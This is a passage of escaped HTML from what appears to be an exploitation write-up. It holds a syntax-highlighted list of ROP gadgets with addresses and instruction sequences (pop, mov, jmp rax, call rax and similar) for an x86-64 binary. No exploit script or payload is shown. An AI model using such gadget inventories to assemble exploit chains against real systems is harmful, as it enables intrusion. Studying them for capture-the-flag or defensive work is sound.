class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-21\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400be8<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rcx<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-22\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400c42<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-e\">dword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">eax<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-23\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400cb4<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-e\">dword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rbx<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">0x4b8afb07<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">eax<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-24\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400be4<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x205586<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">ebx<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">esi<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-25\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400bab<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">edx<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">sar <\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400bbc<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-26\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400be9<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">ebx<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">esi<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-27\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400cb2<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">cmp <\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">4<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400c77<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-28\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x00000000004007ae<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">esp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">8<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-29\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400baa<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">rdx<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">sar <\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400bbd<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-30\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x00000000004007ad<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">rsp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">8<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-31\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400be7<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-st\">and<\/span> <span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">ebx<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">esi<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-32\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f49<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">call <\/span><span class=\"crayon-e\">qword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">r12<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-e \">rbx*<\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-33\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400f4a<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">call <\/span><span class=\"crayon-e\">qword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rsp<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-e \">rbx*<\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-34\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400c0d<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">call <\/span><span class=\"crayon-i\">rax<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-35\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400baf<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">clc<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400bb8<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-36\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400c3e<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">cmp <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rbp<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">0x11<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">dh<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-37\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400b6d<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">cmp <\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0xe<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">rbp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">rsp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ja<\/span> <span class=\"crayon-cn\">0x400b80<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-38\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400cb5<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">cmp <\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">4<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400c74<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-39\" class=\"crayon-line\"><span class=\"crayon-cn\">0x00000000004019da<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">cvttps2pi <\/span><span class=\"crayon-v\">mm1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e\">qword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rdi<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">rdmsr<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">sysenter<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-40\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f4c<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">fmul <\/span><span class=\"crayon-e\">qword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">0x7d<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-41\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400b80<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">hlt<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x606160<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-i\">rax<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-42\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400b73<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">ja<\/span> <span class=\"crayon-cn\">0x400b7a<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-43\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400b7f<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">je<\/span> <span class=\"crayon-cn\">0x400b7d<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x606160<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-i\">rax<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-44\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x00000000004008cb<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">jmp<\/span> <span class=\"crayon-cn\">0x4007c7<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-45\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000405803<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-e\">qword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-46\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400b87<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-i\">rax<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-47\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400bc7<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-i\">rdx<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-48\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400bb0<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400bb7<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-49\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c3f<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400c38<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-50\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400cb8<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400c71<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-51\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400cb9<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">ah<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x5d<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-52\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400be3<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rip<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">0x205586<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-53\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c41<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-54\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400c0b<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">ebp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">esp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">call <\/span><span class=\"crayon-i\">rax<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-55\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400b71<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">ebp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">esp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ja<\/span> <span class=\"crayon-cn\">0x400b7c<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-56\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400c05<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x605e20<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">rbp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">rsp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">call <\/span><span class=\"crayon-i\">rax<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-57\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400b82<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x606160<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-i\">rax<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-58\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400bc2<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x606160<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-i\">rdx<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-59\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400f47<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">edi<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">call <\/span><span class=\"crayon-e\">qword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">r12<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-e \">rbx*<\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-60\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f46<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">r15d<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">call <\/span><span class=\"crayon-e\">qword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">r12<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-e \">rbx*<\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-61\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400bc0<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">esi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">eax<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x606160<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-i\">rdx<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-62\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400c0a<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">rbp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">rsp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">call <\/span><span class=\"crayon-i\">rax<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-63\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400b70<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">rbp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">rsp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ja<\/span> <span class=\"crayon-cn\">0x400b7d<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-64\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400bbf<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">rsi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">rax<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x606160<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-i\">rdx<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-65\" class=\"crayon-line\"><span class=\"crayon-cn\">0x00000000004019d8<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">movaps <\/span><span class=\"crayon-v\">xmm1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e\">xmmword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rdi<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">sub <\/span><span class=\"crayon-v\">al<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0xf<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">rdmsr<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">sysenter<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-66\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f68<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">nop <\/span><span class=\"crayon-e\">dword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-67\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c40<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">out <\/span><span class=\"crayon-v\">dx<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">eax<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-68\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400aa8<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r12<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-69\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400f5c<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r12<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span 